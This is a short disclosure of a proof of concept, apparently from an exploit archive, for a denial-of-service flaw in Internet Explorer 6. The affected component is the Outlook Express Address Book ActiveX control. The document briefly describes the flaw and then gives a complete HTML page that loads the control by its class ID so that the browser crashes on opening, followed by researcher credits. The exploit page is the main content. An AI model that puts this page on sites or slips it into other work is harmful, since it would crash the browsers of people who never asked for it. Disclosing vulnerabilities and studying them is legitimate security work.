IE 6 / MS Office Outlook Express Address Book Activex DoS
IE 6 / MS Office Outlook Express Address Book Activex DoS
Affected Software : MS Internet Explorer 6.x
Overview:
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when a browser use MS outlook Express Address book ActiveX , crash the browser
immediately.
An attacker can exploit this issue to trigger denial-of-service conditions in
Internet Explorer version 6(.x) .
PoC (HTML)
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<!--
[~] Microsoft Office Outlook Express Address Book DoS
[~] Tested on windows XP sp2 , IE 6
[~] Simorgh Security Team / www.simorgh-ev.org
[!] Hessam-x / www.Hessamx.net
-->
<HTML>
<object classid='clsid:233A9694-667E-11d1-9DFB-006097D50408' id='outlook'
/></object>
<center> Microsoft Office Outlook Express Address Book DoS</center>
<center>Hessamx</center>
</HTML>
Credit
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Discovered By Hessam Salehi (Hessamx)
Simorgh Security Team / www.simorgh-ev.org